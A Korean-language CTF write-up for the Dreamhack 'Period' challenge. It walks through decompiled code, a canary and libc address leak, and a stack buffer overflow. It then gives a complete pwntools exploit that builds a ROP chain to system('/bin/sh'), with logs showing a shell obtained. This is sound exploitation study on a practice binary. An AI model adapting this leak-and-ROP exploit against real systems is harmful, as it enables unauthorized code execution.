[dreamhack] Period writeup

1. 문제

thumbnail
Period

Period, about Time or just Punctuation?

https://dreamhack.io/wargame/challenges/1375

2. 풀이


ssize_t __fastcall writeln(__int64 a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    write(1, (const void *)(i + a1), 1uLL);
    if ( *(_BYTE *)(i + a1) == 46 )
      break;
  }
  return write(1, &unk_2008, 1uLL);
}

int readint()
{
  char nptr[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  readln(nptr);
  return atoi(nptr);
}

__int64 __fastcall readln(__int64 a1)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 255; ++i )
  {
    read(0, (void *)(i + a1), 1uLL);
    result = *(unsigned __int8 *)(i + a1);
    if ( (_BYTE)result == 46 )
      break;
  }
  return result;
}

void *__fastcall cleara(void *a1, int a2)
{
  return memset(a1, 46, a2);
}

unsigned __int64 run()
{
  int v1; // [rsp+Ch] [rbp-114h]
  char v2[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  writeln("Mirin, It's the End of Period with Period.");
  v2[0] = 46;
  while ( 1 )
  {
    while ( 1 )
    {
      writeln("1: read.");
      writeln("2: write.");
      writeln("3: clear.");
      write(1, "> ", 2uLL);
      v1 = readint();
      if ( v1 != 3 )
        break;
      cleara(v2, 256LL);
    }
    if ( v1 > 3 )
      break;
    if ( v1 == 1 )
    {
      writeln("Read: .");
      writeln(v2);
    }
    else
    {
      if ( v1 != 2 )
        break;
      writeln("Write: .");
      readln(v2);
    }
  }
  writeln("Invalid Command.");
  writeln("Finally, Just Watch the Curtain Fall.");
  return v3 - __readfsqword(0x28u);
}

IDA로 까본 코드이다.

  • writeln: 주어진 포인터로부터 제한없이 출력을 해주되, "0x46 == '.'"이 나오면 출력을 종료한다.
  • readln: 주어진 포인터에 최대 256바이트를 입력받되, "0x46 == '.'"이 나오면 입력을 종료한다.
  • readint: readln함수를 통해 입력받은 후 이걸 atoi함수를 통해 숫자로 변환한다.

v2 변수가 rbp-0x110이고 canaryrbp-0x8인데 최대 256바이트밖에 입력을 못받다보니, canary leak이 안될 것 같았는데 rbp-0x10 위치부터 8바이트가 꽉차있는지 딱 256바이트를 입력하면 leak이 가능했다.

그리고 canary 뒤로 쭉 출력이되는데 따라나오는 값들 중 __libc_start_main 주소도 함께 나온다. (이건 어디서 알려주는 것도 없고 그냥 알아서 유추해야한다…)

또한 readint함수에서 nptr변수가 24바이트밖에 안되는데 readln을 통해 256바이트를 받을 수 있기 때문에 bof가 가능하다.

p.sendafter(b"> ", b"2.")

p.sendafter(b"Write: .\n", b"a" * 255 + b"\n")

p.sendafter(b"> ", b"1.")
p.recvuntil(b"a" * 255 + b"\n")

for i in range(10):
    tmp = p.recv(8)
    print(hex(u64(tmp)))
    if i == 1:
        canary = u64(tmp)
    elif i == 5:
        __libc_start_main_ret = u64(tmp)
        break
ubuntu@instance-20250406-1126:~/dreamhack/level2/Period/deploy$ python3 e_period.py 
[+] Starting local process './prob': pid 2926340
0x7ffe956d8569
0x358412ccd276cd00
0x7ffe956d81f0
0x62b8d36734d9
0x1
0x768ef8629d90    # __libc_start_main_ret + alpha

이걸 기준으로 libcbase를 계산하고 system함수와 "/bin/sh" 문자열 주소를 계산 후 leak한 canary와 함께 readint함수의 리턴주소를 덮어주면 끝이다.

from pwn import *

p = process("./prob")
#p = remote("host3.dreamhack.games", 23621)

p.sendafter(b"> ", b"2.")

p.sendafter(b"Write: .\n", b"a" * 255 + b"\n")

p.sendafter(b"> ", b"1.")
p.recvuntil(b"a" * 255 + b"\n")

for i in range(10):
    tmp = p.recv(8)
    print(hex(u64(tmp)))
    if i == 1:
        canary = u64(tmp)
    elif i == 5:
        __libc_start_main_ret = u64(tmp)
        break

print(f"canary : {hex(canary)}")

libcbase = __libc_start_main_ret - 0x29d90
print(f"libcbase : {hex(libcbase)}")
system = libcbase + 0x50d60
binsh = libcbase + 0x1d8698
pop_rdi = libcbase + 0x000000000002a3e5

payload = b"a" * 24
payload += p64(canary)
payload += b"b" * 8
payload += p64(libcbase + 0x0000000000029cd6)       #ret
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
payload += b"."
p.sendafter(b"> ", payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/Period/deploy$ python3 e_period.py 
[+] Starting local process './prob': pid 2926402
0x7ffd4ea78669
0x684e9e767a274500
0x7ffd4ea782f0
0x5846850be4d9
0x1
0x763c88029d90
canary : 0x684e9e767a274500
libcbase : 0x763c88000000
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

해결~